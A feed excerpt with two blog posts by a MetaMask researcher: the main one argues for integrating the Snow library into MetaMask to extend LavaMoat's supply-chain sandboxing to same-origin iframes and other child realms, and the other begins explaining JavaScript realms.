 <entry>
   <title>Integrating Snow ❄️ into MetaMask 🦊</title>
   <link href="https://weizman.github.io//2022/11/18/snow-into-metamask/"/>
   <updated>2022-11-18T00:00:00+00:00</updated>
   <id>https://weizman.github.io//2022/11/18/snow-into-metamask</id>
   <content type="html">&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;By &lt;a href=&quot;https://github.com/weizman&quot;&gt;Gal Weizman&lt;/a&gt; &lt;a href=&quot;https://github.com/metamask&quot;&gt;@MetaMask&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;In this document I will be arguing in favor of integrating the new and advanced &lt;a href=&quot;https://github.com/lavamoat/snow&quot;&gt;Snow JS ❄️&lt;/a&gt; browser security technology into the &lt;a href=&quot;https://github.com/MetaMask/metamask-extension&quot;&gt;MetaMask 🦊 browser extension&lt;/a&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;tl;dr&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;Supply chain attacks is a massive problem against javascript based web apps including MetaMask.&lt;/li&gt;
&lt;li&gt;MetaMask introduces advanced technology LavaMoat to isolate dependencies from each other using SES technology, and by that take a big step towards providing strong supply chain attacks protection tools.&lt;/li&gt;
&lt;li&gt;However, LavaMoat does not apply its protection automatically to all child realms but rather only to the top main realm.&lt;/li&gt;
&lt;li&gt;Meaning, if an attacker manages to escape LavaMoat’s sandbox, they can easily go around the protection it applies to the top main realm by using a child realm.&lt;/li&gt;
&lt;li&gt;Snow is a tool that allows you to automatically take over all newborn child realms in the web app and execute predefined code on all of them at the time of their creation.&lt;/li&gt;
&lt;li&gt;By instructing Snow to execute LavaMoat’s top main realm protection, it’ll apply it to all child realms by default and by that introduce a second layer of security to the app LavaMoat defends (e.g. MetaMask).&lt;/li&gt;
&lt;li&gt;In the same manner, Snow can help protect any web app, and can also be used for many other use cases, but it has downsides due to it still being new and experimental that should be taken into consideration.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;table-of-contents&quot;&gt;Table of contents&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;#the-problem&quot;&gt;The problem&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;#supply-chain-attacks&quot;&gt;Supply chain attacks&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#how-supply-chain-attacks-may-affect-metamask&quot;&gt;How supply chain attacks may affect MetaMask?&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#the-existing-solution-layer-1&quot;&gt;The existing solution (layer 1)&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;#lavamoat&quot;&gt;LavaMoat&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#how-lavamoat-helps-metamask-against-supply-chain-attacks&quot;&gt;How LavaMoat helps MetaMask against supply chain attacks?&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#the-problem-with-the-existing-solution-layer-1&quot;&gt;The problem with the existing solution (layer 1)&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;#how-would-a-bypass-of-lavamoat-look-like&quot;&gt;How would a bypass of LavaMoat look like?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#what-can-an-attacker-do-after-bypassing-lavamoat-in-metamask&quot;&gt;What can an attacker do after bypassing LavaMoat in MetaMask?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#why-are-realms-such-a-big-security-concern&quot;&gt;Why realms is such a big security concern?&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#the-missing-solution-layer-2&quot;&gt;The missing solution (layer 2)&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;#snow&quot;&gt;Snow&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#how-snow-helps-against-supply-chain-attacks&quot;&gt;How Snow helps against supply chain attacks?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#downsides-and-pitfalls-of-snow---whats-the-trade-off&quot;&gt;Downsides and pitfalls of Snow - what’s the trade off?&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#snow-outside-of-metamask-and-supply-chain-attacks&quot;&gt;Snow outside of MetaMask and supply chain attacks&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#bottom-line&quot;&gt;Bottom line&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;the-problem&quot;&gt;The problem&lt;/h2&gt;
&lt;p&gt;The context of this document is around the supply chain attacks problem, which is considered to be one of the &lt;strong&gt;biggest
security concerns in the world of js apps&lt;/strong&gt; of all sorts (web apps, servers, extensions, etc).&lt;/p&gt;
&lt;p&gt;Although supply chain attacks as mentioned above is a problem relevant to all sorts of js web apps, the context of this
document is around browser based apps specifically (websites, web apps, extensions, etc).&lt;/p&gt;
&lt;h3 id=&quot;supply-chain-attacks&quot;&gt;Supply chain attacks&lt;/h3&gt;
&lt;p&gt;Refers to the breaching and leveraging of the app’s supply chain to carry out an attack in the app’s runtime.
Imagine app &lt;code&gt;X&lt;/code&gt; uses dependency &lt;code&gt;a&lt;/code&gt; which uses dependency &lt;code&gt;b&lt;/code&gt; which uses dependency &lt;code&gt;c&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;X
 * a
  * b
   * c
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Each of these dependencies can be completely seperate from another in terms of maintainers, purpose, maintaince and so on.
A defintion to a supply chain attack in this scenario would be for example if a &lt;strong&gt;malicious entity managed to alter the code base of any one of these deps without really being the legitimate entity that is in fact responsible for it.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;By doing so, the malicious entity will successfully execute its code when the app runs, because the app ultimately consumes all of the above deps, including the one the attacker managed to alter.&lt;/p&gt;
&lt;p&gt;So to put it in simple words, if I own &lt;code&gt;facebook.com&lt;/code&gt; web app and rely on a third party package called &lt;code&gt;dark-buttons&lt;/code&gt;
to make the buttons in the app darker, and that package is breached by someone else who adds a code that in addition to
darkening buttons steals the logged in user’s cookies, that would count as a calssic supply chain attack.&lt;/p&gt;
&lt;p&gt;The reason supply chain attacks are problematic in the js ecosystem also lies in how all pieces of js code that run in a certain context have almost the same privileges - whether they are of the app itself or of a dependency the app consumes,
they all have similar access to DOM, storage, network, etc.&lt;/p&gt;
&lt;p&gt;&lt;ins class=&quot;adsbygoogle&quot; style=&quot;display:block; text-align:center;&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-ad-client=&quot;ca-pub-1379968351324902&quot; data-ad-slot=&quot;5348991370&quot;&gt;&lt;/ins&gt;&lt;script&gt;(adsbygoogle = window.adsbygoogle || []).push({});&lt;/script&gt;&lt;/p&gt;
&lt;h3 id=&quot;how-supply-chain-attacks-may-affect-metamask&quot;&gt;How supply chain attacks may affect MetaMask?&lt;/h3&gt;
&lt;p&gt;With MetaMask it’s not very different.&lt;/p&gt;
&lt;p&gt;Eventually, MetaMask being a browser extension means it is effectively a web app that is
also built on top of dependencies it does not control and therefore is vulnerable to supply chain attacks just as much.&lt;/p&gt;
&lt;p&gt;With MetaMask you might say it is even more dangerous - &lt;strong&gt;being an app that serves in an ecosystem that has no centralized
authority where actions being made are far less “reversible”, the security responsibility of the web wallet is crucial.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;To give an example in the context of MetaMask, if a third party package MetaMask uses is breached and an attacker manages to
run code in the context of the extension itself, &lt;strong&gt;it can leverage such privilage to do horrible irreversible things&lt;/strong&gt; such as steal the private key of the victim, sign transactions on their behalf, hiddenly switch public keys the victim wishes
to interact with, and far more.&lt;/p&gt;
&lt;h2 id=&quot;the-existing-solution-layer-1&quot;&gt;The existing solution (layer 1)&lt;/h2&gt;
&lt;p&gt;As far as I understand it, this was (more or less) the thought process MetaMask went through which lead to creating LavaMoat
to attempt to solve just that.&lt;/p&gt;
&lt;h3 id=&quot;lavamoat&quot;&gt;LavaMoat&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/lavamoat/lavamoat&quot;&gt;LavaMoat&lt;/a&gt; is a security tool by MetaMask that attempts to introduce a layer of defense
to javascript based web apps specifically against supply chain attacks.&lt;/p&gt;
&lt;p&gt;In the context of browser based apps, LavaMoat participates in the build process and uses advanced technology such as &lt;a href=&quot;https://github.com/endojs/endo&quot;&gt;SES&lt;/a&gt; and static analysis of code to wrap each dependency the app uses with a sandbox that
makes sure the &lt;strong&gt;dependency can only do what it’s suppose to do.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;It is important to calrify that this is a very high level and general way to describe LavaMoat, and since it is out
of this document’s scope to thoroughly explain it, you should read more about it in case you are not yet familiar with it.&lt;/p&gt;
&lt;p&gt;So if to put this in the context of the example from above, if package &lt;code&gt;c&lt;/code&gt; is maybe a tool for abstracting access to the DOM
but is breached to also steal cookies from storage and exfiltrate them to a malicious origin using network APIs - if app &lt;code&gt;X&lt;/code&gt;
is protected by LavaMoat it will allow &lt;code&gt;c&lt;/code&gt; to access the DOM as usual, but will block it from accessing the storage
or different network APIs since it should not have access to them normally.&lt;/p&gt;
&lt;p&gt;And by that LavaMoat in fact helps a lot in &lt;strong&gt;managing API access privilages for app dependencies&lt;/strong&gt; - in this example,
&lt;strong&gt;without LavaMoat such breach would have been successful, but thanks to LavaMoat it is not.&lt;/strong&gt;&lt;/p&gt;
&lt;h3 id=&quot;how-lavamoat-helps-metamask-against-supply-chain-attacks&quot;&gt;How LavaMoat helps MetaMask against supply chain attacks?&lt;/h3&gt;
&lt;p&gt;With MetaMask it’s not very different (again).&lt;/p&gt;
&lt;p&gt;LavaMoat just does its magic similarly to the example described above with MetaMask and its dependencies.
You can investigate the policy file that LavaMoat generates to learn which packages of MetaMask can access which APIs.&lt;/p&gt;
&lt;p&gt;For example, &lt;code&gt;textarea-caret&lt;/code&gt; package used by MetaMask is dictated by &lt;a href=&quot;https://github.com/MetaMask/metamask-extension/blob/100fbbfaca55ad6735432a897a38c9889a5f3d1d/lavamoat/browserify/main/policy.json#L6287&quot;&gt;LavaMoat’s policy file&lt;/a&gt; to only have access to a specific number of APIs (most of them are DOM related).&lt;/p&gt;
&lt;p&gt;This effectively means that before we had LavaMoat, if &lt;code&gt;textarea-caret&lt;/code&gt; package was compromised it could have allowed to run
fully privilaged malicious code that could have easily be leveraged to carry out attacks such as described above against MetaMask users.&lt;/p&gt;
&lt;p&gt;But LavaMoat’s protection prevents that exactly.&lt;/p&gt;
&lt;h2 id=&quot;the-problem-with-the-existing-solution-layer-1&quot;&gt;The problem with the existing solution (layer 1)&lt;/h2&gt;
&lt;p&gt;“Problem” is a strong word. LavaMoat does its job and it does so wonderfully.&lt;/p&gt;
&lt;p&gt;But LavaMoat is a single line of defense, and having multiple lines of defense is better than having just one.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;LavaMoat’s protection level is fairly high, and breaching it is currently very difficult.&lt;/strong&gt;
But as we already learned in the security space, it can never be guaranteed to stay the case for good - &lt;strong&gt;someone at some point might find a way around it.&lt;/strong&gt;&lt;/p&gt;
&lt;h3 id=&quot;how-would-a-bypass-of-lavamoat-look-like&quot;&gt;How would a bypass of LavaMoat look like?&lt;/h3&gt;
&lt;p&gt;Bypassing LavaMoat would mean having &lt;strong&gt;a package with limited privileges obtaining access to objects and APIs out of its privileges scope.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;To explain more simply, it’s as if &lt;code&gt;textarea-caret&lt;/code&gt; could leverage the APIs it can currently access according to LavaMoat
to access other APIs provided by the browser that it shouldn’t have access to.&lt;/p&gt;
&lt;p&gt;So if for example &lt;code&gt;textarea-caret&lt;/code&gt; only have access to &lt;code&gt;[document.createElement, document.body.appendChild]&lt;/code&gt;
and it can leverage those to obtain access to &lt;code&gt;fetch&lt;/code&gt; API - that would be a clear vulnerability exploitation of LavaMoat.&lt;/p&gt;
&lt;h3 id=&quot;what-can-an-attacker-do-after-bypassing-lavamoat-in-metamask&quot;&gt;What can an attacker do after bypassing LavaMoat in MetaMask?&lt;/h3&gt;
&lt;p&gt;In such a scenario, &lt;strong&gt;access to forbidden APIs may result in the attacker carrying out attacks&lt;/strong&gt; such as described earlier.&lt;/p&gt;
&lt;p&gt;A bypass to LavaMoat can result in the &lt;strong&gt;malicious package obtaining full privilge to all APIs provided by the browser, and
such power can allow an attacker to cause a lot of damage.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;There are ways to defend against a scenario where the attacker bypasses LavaMoat and gains full access to the global object
and by that to all the browser APIs it provides.&lt;/p&gt;
&lt;p&gt;One &lt;a href=&quot;https://github.com/LavaMoat/LavaMoat/pull/360&quot;&gt;WIP&lt;/a&gt; approach is called “scuttling the start compartment globalThis” suggested by &lt;a href=&quot;https://github.com/kumavis&quot;&gt;@Aaron Davis&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The idea here is to erase access to all of the APIs the browser offers under the global object (&lt;code&gt;window&lt;/code&gt;) and the
DOM object (&lt;code&gt;document&lt;/code&gt;) completely, and by that &lt;strong&gt;leave nothing to an attacker who manages to jump over LavaMoat to those
dangerous APIs.&lt;/strong&gt; Each package with its own compartment (sadnbox) has access to their private version of those APIs,
so erasing their original versions from the global object is in fact not the worst idea.&lt;/p&gt;
&lt;p&gt;However, even this won’t be enough and that is due to another problem that is far harder to solve - the fact that
&lt;strong&gt;there isn’t really only a single global object, there could be more than just one.&lt;/strong&gt;&lt;/p&gt;
&lt;h3 id=&quot;why-are-realms-such-a-big-security-concern&quot;&gt;Why are realms such a big security concern?&lt;/h3&gt;
&lt;p&gt;To quote from the &lt;a href=&quot;https://tc39.es/ecma262/#sec-code-realms&quot;&gt;official specification of Realms&lt;/a&gt;,&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;“A realm consists of a set of intrinsic objects, an ECMAScript global environment, all of the ECMAScript code that is loaded within the scope of that global environment, and other associated state and resources.”&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;And to add to the above, all of those are accessible by the realm’s global object (&lt;code&gt;globalThis&lt;/code&gt;).
In the browser that object can be accessed via &lt;code&gt;window&lt;/code&gt; and by default there is only one main realm
which is the top window and can also be accessed via &lt;code&gt;top&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;So to put things in context, everything we mentioned earlier that an attacker can do and that LavaMoat tries to defend
against is by &lt;strong&gt;leveraging the basic access js code has to different APIs and objects that are assocciated to the relevant
realm&lt;/strong&gt; (which until this point in this document is the main (&lt;code&gt;top&lt;/code&gt;) realm).&lt;/p&gt;
&lt;p&gt;Meaning,&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Attacker trying to abuse access to the DOM;&lt;/li&gt;
&lt;li&gt;Attacker trying to bypass LavaMoat to jump from DOM access (e.g. &lt;code&gt;document.createElement&lt;/code&gt;) to network APIs (e.g. &lt;code&gt;fetch&lt;/code&gt;);&lt;/li&gt;
&lt;li&gt;LavaMoat scuttling the globalThis of the start compartment to prevent attackers from gaining access to APIs they’re not authorized to have access to,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;All are hapening and are being discussed &lt;strong&gt;under the context of the top main realm.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;So if to stick to the “scuttling” example, this means to perform scuttling to the top main realm.&lt;/p&gt;
&lt;p&gt;This however gets very tricky based on the fact that &lt;strong&gt;more realms can be created under the top realm.&lt;/strong&gt;
In the browser, a new realm can be created in the form of &lt;code&gt;iframe&lt;/code&gt;s, &lt;code&gt;worker&lt;/code&gt;s, tabs, &lt;code&gt;window&lt;/code&gt;s and more,
and naturally each realm has its own freshly new set of everything that is mentioned in the quote from the spec above.&lt;/p&gt;
&lt;p&gt;Realms can be either same origin realms or cross origin realms, depends on whether the origin of the realm
is the same as the origin of the parent realm or not.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;In this context, same origin realms are a security concern in supply chain attacks.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This is because an attacker can carry its planned &lt;strong&gt;attack within a realm they create and control rather than the
top main realm, and by that go around any protections LavaMoat is trying to apply to it.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;In other words, if the scuttling process successfully disables access to the top main realm’s &lt;code&gt;fetch&lt;/code&gt; API,
that doesn’t apply by default to child realms an attacker might create/get a hold on.
&lt;strong&gt;That type of attack can only leverage a same origin realm&lt;/strong&gt; and not a cross origin one, because same origin realms
are fully and synchronously accesible via the top main realm.&lt;/p&gt;
&lt;p&gt;&lt;ins class=&quot;adsbygoogle&quot; style=&quot;display:block; text-align:center;&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-ad-client=&quot;ca-pub-1379968351324902&quot; data-ad-slot=&quot;5348991370&quot;&gt;&lt;/ins&gt;&lt;script&gt;(adsbygoogle = window.adsbygoogle || []).push({});&lt;/script&gt;&lt;/p&gt;
&lt;h2 id=&quot;the-missing-solution-layer-2&quot;&gt;The missing solution (layer 2)&lt;/h2&gt;
&lt;p&gt;While it is very unlikely (thanks to LavaMoat) an attacker can leverage a fully scuttled global object to create a new realm to attack with, applying general protections (such as but not limited to LavaMoat’s scuttling) to any child realm that comes to life under the top main realm, recursively and automatically, would have been considered as a &lt;strong&gt;strong second line of defense against a supply chain attacker.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;In other words, &lt;strong&gt;if instead of only scuttling the global object of the top main realm, we could have done so to all realms of
all iframes, tabs, windows and so on, that would have been a great way to make sure an attacker cannot leverage a same origin
realm to carry out an attack against the app.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;So assuming an attacker wants to use &lt;code&gt;fetch&lt;/code&gt; as part of an attack, but LavaMoat’s scuttling disables access to &lt;code&gt;fetch&lt;/code&gt; in the top main realm’s global object - if the attacker manages to get a hold on a different same origin realm which by default is
unprotected by LavaMoat, &lt;strong&gt;they can easily pull a freshly new &lt;code&gt;fetch&lt;/code&gt; API from there and use that instead.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Based on that, &lt;strong&gt;the missing solution here is a tool that takes over the creation of new realms and grants first access to it
to the protector rather than the creator of the realm.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;With such a solution we could have applied the scuttling approach for example &lt;strong&gt;not only to the top main realm, but to every new realm in the page automatically&lt;/strong&gt;, and then pulling a freshly new &lt;code&gt;fetch&lt;/code&gt; API &lt;strong&gt;would not have been possible anymore.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;However, covering all ways of new realms creation is &lt;strong&gt;a very non trivial mission to accomplish&lt;/strong&gt; due to Javascript being Javascript. Therefore, creating such a tool is quite a complex task on its own.&lt;/p&gt;
&lt;p&gt;To sum up so far, when defending a browser based app against supply chain attacks there are two missions to accomplish
in order to provide a truly advanced solution, and &lt;strong&gt;each one is a difficult and complciated problem to solve&lt;/strong&gt;:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Creating a tool^ that applies protection against supply chain attacks;&lt;/li&gt;
&lt;li&gt;Creating another tool that applies a subset of the first tool^ (or all of it) to all same origin realms in the app.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;In the context of this document, &lt;strong&gt;the former is provided by MetaMask and is LavaMoat&lt;/strong&gt;, whereas &lt;strong&gt;the latter is yet to be
integrated with LavaMoat and is Snow&lt;/strong&gt; - the subject of this document.&lt;/p&gt;
&lt;h3 id=&quot;snow&quot;&gt;Snow&lt;/h3&gt;
&lt;p&gt;The following animation should give an idea of the importance of combining LavaMoat with Snow, as explained above:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;1st frame - this is the initial stage where no protection applies to the web app and therefore all realms including the
top main one are vulnerable to supply chain attacks.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;2nd frame - at this stage we turn on LavaMoat as our supply chain attacks protection which attempts to protect the top main
realm.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;3rd frame - here we use Snow to apply LavaMoat’s protection to all future realms in addition to the top main realm.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;/content/img/snow-mm.gif&quot; alt=&quot;lavamoat-snow-animation&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Snow (stands for &lt;strong&gt;S&lt;/strong&gt;ecuring &lt;strong&gt;N&lt;/strong&gt;ested &lt;strong&gt;O&lt;/strong&gt;wnership of &lt;strong&gt;W&lt;/strong&gt;indows) is a browser javascript based security tool that focuses on providing an API to which you provide a callback that it’ll guarantee to call for every new realm that is created in the web app (including the top main realm):&lt;/p&gt;
&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;SNOW&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;realm&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;delete&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;realm&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;fetch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;This is a small demonstration of how to use Snow to delete &lt;code&gt;fetch&lt;/code&gt; API not only from the top main realm, but from any new realm that comes to life in the app.&lt;/p&gt;
&lt;p&gt;So if a certain app uses a certain protection around &lt;code&gt;fetch&lt;/code&gt; to prevent attackers from using it, the attackers could leverage
a new realm to extract an unprotected &lt;code&gt;fetch&lt;/code&gt; from there, but if the app instructs Snow to run its protection against all
new realms, an attacker won’t be able to do so.&lt;/p&gt;
&lt;p&gt;There is a clear demonstration of Snow’s power in this &lt;a href=&quot;https://lavamoat.github.io/snow/demo/&quot;&gt;demo app&lt;/a&gt; that uses Snow to disable the &lt;code&gt;alert&lt;/code&gt; API. The goal there is to run your own code in the app to successfully pop an alert message and by that show that Snow can be bypassed.&lt;/p&gt;
&lt;p&gt;Learn more about Snow outside of this document:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/lavamoat/snow&quot;&gt;respository and source code&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/lavamoat/snow/wiki/Introducing-Snow&quot;&gt;motivation behind Snow explained&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/lavamoat/snow/wiki/Introducing-Snow#why-snow-solves-a-non-trivial-problem&quot;&gt;Snow’s technical challenge explained&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://lavamoat.github.io/snow/demo/&quot;&gt;demo app - can you bypass Snow?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/lavamoat/snow#usage&quot;&gt;usage and installation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;how-snow-helps-against-supply-chain-attacks&quot;&gt;How Snow helps against supply chain attacks?&lt;/h3&gt;
&lt;p&gt;This is explained throughout this document a number of times, but the bottom line is that Snow allows you to &lt;strong&gt;apply any dynamic protection you might create to all realms in the web app instead of just the top main one.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;It can be anything really, any type of protection you wish to apply to your web app can be carried out to future realms just as easy using Snow.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Snow isn’t a supply chain attacks protection tool of its own, it is the security assurance a real supply chain attack protection tool needs to protect all future realms attacker might try to leverage.&lt;/strong&gt;&lt;/p&gt;
&lt;h3 id=&quot;downsides-and-pitfalls-of-snow---whats-the-trade-off&quot;&gt;Downsides and pitfalls of Snow - what’s the trade off?&lt;/h3&gt;
&lt;p&gt;At the time fo writing this document, &lt;strong&gt;Snow is a very new and experimental security tech which is not yet used by anyone.&lt;/strong&gt;
That is why this document is called “Integrating Snow into MetaMask” - it is an initial step in making MetaMask the first
product ever to use Snow to protect itself.&lt;/p&gt;
&lt;p&gt;It being so young is the exact reason for it having some early stages downsides:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Snow is exclusively designed to run on Chromium based browsers&lt;/strong&gt; - developing a technology as complex as Snow requires a lot of specific handling and therefore methods that work in Chromium aren’t guaranteed to work as smoothly on other browsers.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Snow might introduce performance issues&lt;/strong&gt; - since Snow’s focus is on creating a secured and hermatic solution against attackers, some of the hooks it applies to the page might be inefficient, so there’s some work to do there also.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Snow might not be as secure as we hope it is&lt;/strong&gt; - as part of this project it was clear that achieving the goal Snow aspires to achieve based on how dynamic and complex javascript can be might not be possible. This in fact brought us to believe that &lt;a href=&quot;https://github.com/LavaMoat/snow/wiki/Introducing-Snow#snow-as-a-browser-builtin-api&quot;&gt;Snow should be introduced into the browser as a builtin API&lt;/a&gt; and we will begin to put some effort into making this happen.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The third issue is an &lt;strong&gt;important&lt;/strong&gt; one - &lt;strong&gt;Until Snow isn’t a builtin API it cannot commit to provide a fully secured solution&lt;/strong&gt; and that must be taken under consideration when choosing to use Snow. On the other hand, &lt;strong&gt;using Snow is by far better then not, because it is the difference between protecting hopefully most realms created by attackers and none of them.&lt;/strong&gt;&lt;/p&gt;
&lt;h2 id=&quot;snow-outside-of-metamask-and-supply-chain-attacks&quot;&gt;Snow outside of MetaMask and supply chain attacks&lt;/h2&gt;
&lt;p&gt;Snow is designed to be a &lt;strong&gt;general purpose tool&lt;/strong&gt; and therefore is relevant to many more use cases outside of the context of this document.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Snow can be used by more vendors other then just MetaMask, thanks to Snow providing the most dynamic API we could think of&lt;/strong&gt; - a callback to do with what ever you wish to do.&lt;/p&gt;
&lt;p&gt;One can use Snow to create their own security tools or non security tools even.&lt;/p&gt;
&lt;p&gt;A good example to that is &lt;a href=&quot;https://github.com/lavamoat/across/&quot;&gt;Across&lt;/a&gt; which is based on Snow and could not have been made without it. It has its own logic that it applies to the web app, and it &lt;strong&gt;uses Snow to make sure its logic is applied across realms.&lt;/strong&gt;&lt;/p&gt;
&lt;h2 id=&quot;bottom-line&quot;&gt;Bottom line&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Same origin realms are a big security concern ever since supply chain attacks became so common and so advanced.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Snow tries to be the first proper solution attempt to same origin realms being leveraged against supply chain attacks protection tools.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Snow is rather young but unlocks a great potential against supply chain attacks if used correctly.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;MetaMask can benefit a lot from combining LavaMoat existing solution with Snow missing solution to apply the power of LavaMoat to all realms in MetaMask rather then just the top main one, as it could be a &lt;strong&gt;great line of defense&lt;/strong&gt; against an attacker who manages to bypass LavaMoat.&lt;/p&gt;
&lt;p&gt;&lt;ins class=&quot;adsbygoogle&quot; style=&quot;display:block; text-align:center;&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-ad-client=&quot;ca-pub-1379968351324902&quot; data-ad-slot=&quot;5348991370&quot;&gt;&lt;/ins&gt;&lt;script&gt;(adsbygoogle = window.adsbygoogle || []).push({});&lt;/script&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>What is a realm in JavaScript?</title>
   <link href="https://weizman.github.io//2022/10/28/what-is-a-realm-in-js/"/>
   <updated>2022-10-28T00:00:00+00:00</updated>
   <id>https://weizman.github.io//2022/10/28/what-is-a-realm-in-js</id>
   <content type="html">&lt;p&gt;As part of my long term research around browser JavaScript security, in the past year I have been focusing specifically on &lt;a href=&quot;https://github.com/weizman/awesome-JavaScript-realms-security&quot;&gt;security for realms ⭐️&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Due to the rise of dependencies-based development, the JavaScript ecosystem (and the browser JavaScript ecosystem in particular) is far more vulnerable to what we know as &lt;a href=&quot;https://en.wikipedia.org/wiki/Supply_chain_attack&quot;&gt;“supply chain attacks”&lt;/a&gt; - and the ability to create new realms in JavaScript is being leveraged to successfully carry out such attacks against web apps (if you want to understand why that is I recommend reading &lt;a href=&quot;https://twitter.com/WeizmanGal/status/1576942106156810240&quot;&gt;my previous post&lt;/a&gt; on this).&lt;/p&gt;
&lt;p&gt;The realms security field is far from being properly addressed, and I hope to gradually fix that starting by introducing the first open source realms security tool - &lt;a href=&quot;https://github.com/lavamoat/snow&quot;&gt;Snow-JS ❄️&lt;/a&gt; by &lt;a href=&quot;https://github.com/lavamoat&quot;&gt;LavaMoat 🌋&lt;/a&gt; (stay tuned).&lt;/p&gt;
